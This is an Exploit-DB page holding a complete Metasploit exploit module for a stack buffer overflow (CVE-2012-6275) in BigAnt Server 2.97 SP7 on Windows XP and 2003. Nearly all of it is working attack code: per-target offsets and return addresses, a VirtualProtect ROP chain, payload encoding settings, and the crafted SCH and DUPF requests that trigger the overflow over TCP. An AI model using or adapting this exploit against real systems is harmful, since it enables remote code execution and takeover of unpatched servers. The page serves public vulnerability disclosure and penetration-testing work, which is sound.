标题: BigAnt Server 2.97 - SCH / DUPF Buffer Overflow (Metasploit) EDB-ID: 24527 CVE: 2012-6275 类型: REMOTE 平台: WINDOWS 发布日期: 2013-02-20 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'BigAnt Server 2 SCH And DUPF Buffer Overflow',
   'Description'    => %q{
     This exploits a stack buffer overflow in BigAnt Server 2.97 SP7. The
    vulnerability is due to the dangerous usage of strcpy while handling errors. This
    module uses a combination of SCH and DUPF request to trigger the vulnerability, and
    has been tested successfully against version 2.97 SP7 over Windows XP SP3 and
    Windows 2003 SP2.
   },
   'Author'         =>
    [
     'Hamburgers Maccoy', # Vulnerability discovery
     'juan vazquez'       # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'CVE', '2012-6275' ],
     [ 'US-CERT-VU', '990652' ],
     [ 'BID', '57214' ],
     [ 'OSVDB', '89344' ]
    ],
   'Payload'        =>
    {
     'Space'       => 2500,
     'BadChars'    => "\x00\x0a\x0d\x25\x27",
     'DisableNops' => true,
     'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'BigAnt Server 2.97 SP7 / Windows XP SP3',
      {
       'Offset'     => 629,
       'Ret'        => 0x77c21ef4, # ppr from msvcrt
       'JmpESP'     => 0x77c35459, # push esp # ret from msvcrt
       'FakeObject' => 0x77C60410 # .data from msvcrt
      }
     ],
     [ 'BigAnt Server 2.97 SP7 / Windows 2003 SP2',
      {
       'Offset'      => 629,
       'Ret'         => 0x77bb287a, # ppr from msvcrt
       'FakeObject'  => 0x77bf2460, # .data from msvcrt
       :callback_rop => :w2003_sp2_rop
      }
     ]
    ],
   'Privileged'     => true,
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Jan 09 2013'))

   register_options([Opt::RPORT(6661)], self.class)
 end

 def junk(n=4)
  return rand_text_alpha(n).unpack("V")[0].to_i
 end

 def nop
  return make_nops(4).unpack("V")[0].to_i
 end

 def w2003_sp2_rop
  rop_gadgets =
   [
    0x77bc5d88, # POP EAX # RETN
    0x77ba1114, # <- *&VirtualProtect()
    0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
    junk,
    0x77bb0c86, # XCHG EAX,ESI # RETN
    0x77bc9801, # POP EBP # RETN
    0x77be2265, # ptr to 'push esp #  ret'
    0x77bc5d88, # POP EAX # RETN
    0x03C0990F,
    0x77bdd441, # SUB EAX, 03c0940f  (dwSize, 0x500 -> ebx)
    0x77bb48d3, # POP EBX, RET
    0x77bf21e0, # .data
    0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
    0x77bbfc02, # POP ECX # RETN
    0x77bef001, # W pointer (lpOldProtect) (-> ecx)
    0x77bd8c04, # POP EDI # RETN
    0x77bd8c05, # ROP NOP (-> edi)
    0x77bc5d88, # POP EAX # RETN
    0x03c0984f,
    0x77bdd441, # SUB EAX, 03c0940f
    0x77bb8285, # XCHG EAX,EDX # RETN
    0x77bc5d88, # POP EAX # RETN
    nop,
    0x77be6591, # PUSHAD # ADD AL,0EF # RETN
   ].pack("V*")

  return rop_gadgets
 end

 def exploit

  sploit = rand_text_alpha(target['Offset'])
  sploit << [target.ret].pack("V")
  sploit << [target['FakeObject']].pack("V")
  sploit << [target['FakeObject']].pack("V")
  if target[:callback_rop] and self.respond_to?(target[:callback_rop])
   sploit << self.send(target[:callback_rop])
  else
   sploit << [target['JmpESP']].pack("V")
  end
  sploit << payload.encoded

  random_filename = rand_text_alpha(4)
  random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}"
  random_userid = rand_text_numeric(1)
  random_username = rand_text_alpha_lower(5)
  random_content = rand_text_alpha(10 + rand(10))

  sch = "SCH 16\n"
  sch << "cmdid: 1\n"
  sch << "content-length: 0\n"
  sch << "content-type: Appliction/Download\n"
  sch << "filename: #{random_filename}.txt\n"
  sch << "modified: #{random_date}\n"
  sch << "pclassid: 102\n"
  sch << "pobjid: 1\n"
  sch << "rootid: 1\n"
  sch << "sendcheck: 1\n"
  sch << "source_cmdname: DUPF\n"
  sch << "source_content-length: 116619\n"
  sch << "userid: #{random_userid}\n"
  sch << "username: #{sploit}\n\n"

  print_status("Trying target #{target.name}...")

  connect
  print_status("Sending SCH request...")
  sock.put(sch)
  res = sock.get_once
  if res.nil?
   fail_with(Exploit::Failure::Unknown, "No response to the SCH request")
  end
  if res=~ /scmderid: \{(.*)\}/
   scmderid = $1
  else
   fail_with(Exploit::Failure::UnexpectedReply, "scmderid value not found in the SCH response")
  end

  dupf = "DUPF 16\n"
  dupf << "cmdid: 1\n"
  dupf << "content-length: #{random_content.length}\n"
  dupf << "content-type: Appliction/Download\n"
  dupf << "filename: #{random_filename}.txt\n"
  dupf << "modified: #{random_date}\n"
  dupf << "pclassid: 102\n"
  dupf << "pobjid: 1\n"
  dupf << "rootid: 1\n"
  dupf << "scmderid: {#{scmderid}}\n"
  dupf << "sendcheck: 1\n"
  dupf << "userid: #{random_userid}\n"
  dupf << "username: #{random_username}\n\n"
  dupf << random_content

  print_status("Sending DUPF request...")
  sock.put(dupf)
  #sock.get_once
  disconnect

 end

end URL: https://www.exploit-db.com/exploits/24527